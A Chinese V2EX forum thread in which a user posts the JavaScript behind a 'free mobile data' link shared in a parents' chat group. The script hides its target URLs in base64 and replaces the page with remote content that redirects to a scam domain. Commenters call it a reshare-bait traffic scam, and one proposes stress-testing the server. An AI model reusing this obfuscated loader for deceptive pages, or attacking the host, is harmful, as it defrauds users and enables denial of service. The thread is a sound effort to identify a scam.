V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
• 请不要在回答技术问题时复制粘贴 AI 生成的内容
davin
V2EX  ›  程序员

刚在家长群里发现一个送流量包的网址

  •  
  •   davin · 2019-04-30 10:24:54 +08:00 · 3371 次点击
    这是一个创建于 2067 天前的主题,其中的信息可能已经有所发展或是发生改变。

    先上代码:

    function clientSideInclude(url) {
        var req = false;
        if (window.XMLHttpRequest) {
            try {
                req = new XMLHttpRequest();
            } catch (e) {
                req = false;
            }
        } else if (window.ActiveXObject) {
            try {
                req = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
                try {
                    req = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (e) {
                    req = false;
                }
            }
        }
        var element = document.getElementsByTagName("body")[0];
        if (!element) {
            alert("页面加载错误!!!!");
            return;
        }
        if (req) {
            req.open('GET', window.atob(url) + window.atob('aWQ9MSZ0dWk9ZmFsc2UmbW9kdWxlPXNldF9jJnNoYXJlaWQ9MTAwLDEwMSZtb2RlbD0yJnd4aWQ9MTA3JmRvbWFpbmlkPTExMSZ1cmw9aHR0cDovL2pyd3Buc2RjLmtvbmdxdWVjaGVuZ2RjLmNvbS80ZjVjTkpOTWV0cklELUFYeUZ6S0pZVFZ0VnBXNkdvd01OUmItUlBrUndCSURnZVNyN2VjTFU0aFIxcUR0MXR5bG1wTGVtT1VqOElmMV91UmtvVmhFRVFqdFRQZExjNTBiOTQ1RDNKVi1lY1hHLVFDY0d4X3FvTTd0Y2RQNjVUakdGb0VKM0Ft'), false);
            req.send(null);
            if (req.status == 404) {
                alert("页面加载错误!!!!");
            } else {
                var doc = document.open('text/html', 'replace');
                // window.history.pushState({},0,'http://'+location.host);
                doc.write(req.responseText);
                doc.close();
            }
        } else {
            element[0].innerHTML = "页面加载错误!!!!";
        }
    }
    clientSideInclude("aHR0cDovL2pyd3Buc2RjLmtvbmdxdWVjaGVuZ2RjLmNvbS9zaG93X2M/");
    

    发网址的人撤回的太快,那一瞬间,潜意识地在浏览器上打开,就跳转到新的地址( http 开头 jrwpnsdc[点]kongquechengdc[点]com[斜杠]4f5cNJNMetrID-AXyFzKJYTVtVpW6GowMNRb-RPkRwBIDgeSr7ecLU4hR1qDt1tylmpLemOUj8If1_uRkoVhEEQjtTPdLc50b945D3JV-ecXG-QCcGx_qoM7tcdP65TjGFoEJ3Am#1556588699023 )了。PC 端打开这个地址,直接随机跳转到某个网站,移动端就是下面的截图。这里大佬多,给看看到底是啥幺蛾子。

    截图在这: 20190430101543.jpg

    7 条回复    2019-04-30 18:55:09 +08:00
    Citrus
        1
    Citrus  
       2019-04-30 10:41:13 +08:00
    这是骗转发的吧。
    opengps
        2
    opengps  
       2019-04-30 10:51:49 +08:00
    骗转发获取垃圾流量的
    davin
        3
    davin  
    OP
       2019-04-30 11:08:29 +08:00
    嗯,后面的跳转是随机取个地址然后跳转的么,每次刷新跳的地址都不一样
    StederLee
        4
    StederLee  
       2019-04-30 11:09:58 +08:00 via Android
    114.67.228.137 ( jrwpnsdc.kongquechengdc.com )
    中国 北京 北京 京东云 /电信 /联通 /移动

    压测一下?
    pinerge
        6
    pinerge  
       2019-04-30 15:02:35 +08:00
    @iiusky 厉害啊
    davin
        7
    davin  
    OP
       2019-04-30 18:55:09 +08:00 via iPhone
    膜拜大佬
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1477 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 20ms · UTC 17:09 · PVG 01:09 · LAX 09:09 · JFK 12:09
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.